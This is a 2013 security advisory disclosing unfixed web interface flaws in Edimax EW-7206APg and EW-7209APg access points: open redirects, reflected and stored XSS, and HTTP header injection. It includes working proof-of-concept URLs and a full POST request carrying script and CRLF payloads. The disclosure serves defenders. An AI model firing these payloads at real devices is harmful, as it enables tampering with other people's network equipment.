Device Name: EW-7206APg / EW-7209APg Vendor: Edimax ============ Vulnerable Firmware Releases: ============ Device: EW-7206APg Hardware Version Rev. A Runtime Code Version v1.32 Runtime Code Version V1.33 Device: EW-7209APg Hardware Version Rev. A Runtime Code Version 1.21 Runtime Code Version 1.29 ============ Device Description: ============ Acting as a bridge between the wired Ethernet and the 2.4GHz IEEE 802.11g/b wireless LAN, this wireless LAN access point can let your wireless LAN client stations access both the wired and the wireless network nodes. EW-7206APg: http://www.edimax.com/en/produce_detail.php?pl1_id=25&pl2_id=134&pl3_id=359&pd_id=18 EW-7209APg: http://www.edimax-de.eu/de/support_detail.php?pd_id=18&pl1_id=1 ============ Vulnerability Overview: ============ * URL Redirection: Parameter: submit-url and wlan_url http://192.168.178.175/goform/formWirelessTbl?submit-url=http://www.google.de http://192.168.178.175/goform/formWlanSetup?apMode=0&band=2&ssid=test&chan=11&macAddrValue=5C260A2BF03F&wlanMacClone=0&wlanMac=000000000000&autoMacClone=no&repeaterSSID=&wlLinkMac1=000000000000&wlLinkMac2=000000000000&wlLinkMac3=000000000000&wlLinkMac4=000000000000&wlLinkMac5=000000000000&wlLinkMac6=000000000000&x=57&y=20&wlan-url=http://www.pwnd.pwnd * reflected XSS: Parameter: submit-url and wlan-url Injecting scripts into the parameter submit-url or wlan-url reveals that this parameter is not properly validated for malicious input. Example Exploit: http://192.168.178.175/goform/formWlanSetup?apMode=0&band=2&ssid=&chan=11&macAddrValue=&wlanMacClone=0&wlanMac=&autoMacClone=no&repeaterSSID=&wlLinkMac1=&wlLinkMac2=&wlLinkMac3=&wlLinkMac4=&wlLinkMac5=&wlLinkMac6=&x=54&y=12&wlan-url=test><script>alert('XSSed')</script>test * stored XSS * in System Utility -> Domain Name: => parameter: DomainName Injecting scripts into the parameter DomainName reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code. http://192.168.178.175/goform/formTcpipSetup?oldpass=&newpass=&confpass=&ip=192.168.178.175&mask=255.255.255.0&gateway=0.0.0.0&dhcp=2&DhcpGatewayIP=0.0.0.0&DhcpNameServerIP=0.0.0.0&dhcpRangeStart=192.168.178.100&dhcpRangeEnd=192.168.178.200&DomainName="><script>alert(2)</script>&leaseTimeGet=946080000&leaseTime=946080000&B1.x=52&B1.y=21&submit-url=%2Fsysutility.asp&ipChanged= * Stored XSS in wireless settings / basic settings -> ESSID -> The injected script code gets executed within the device information Injecting scripts into the parameter ssid reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code. Example Request: POST /goform/formWlanSetup HTTP/1.1 Host: 192.168.178.175 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.175/wlbasic.asp Authorization: Basic xxx Content-Type: application/x-www-form-urlencoded Content-Length: 351 apMode=0&band=2&ssid=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281%29%3E&chan=11&macAddrValue=5C260A2BF03F&wlanMacClone=0&wlanMac=000000000000&autoMacClone=no&repeaterSSID=&wlLinkMac1=000000000000&wlLinkMac2=000000000000&wlLinkMac3=000000000000&wlLinkMac4=000000000000&wlLinkMac5=000000000000&wlLinkMac6=000000000000&x=50&y=20&wlan-url=%2Fwlbasic.asp * HTTP Header Injection: Parameter: submit-url Injecting code into the parameter submit-url mode reveals that this parameter is not properly validated for malicious input and so it is possible to manipulate the header information. http://192.168.178.175/goform/formWirelessTbl?submit-url=e82f5%0d%0aNew%20Header:%20PWND Response: HTTP/1.0 302 Redirect Server: GoAhead-Webs Date: Sat Jan 1 14:06:23 2000 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://192.168.178.175/e82f5 New Header: PWND <snip> ============ Solution ============ No known solution available. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de Advisory URL: http://www.s3cur1ty.de/m1adv2013-009 Twitter: @s3cur1ty_de ============ Time Line: ============ September 2012 - discovered vulnerability 21.09.2012 - contacted vendor with vulnerability details 24.09.2012 - vendor responded that they will not provide a fix 14.02.2013 - public disclosure ===================== Advisory end =====================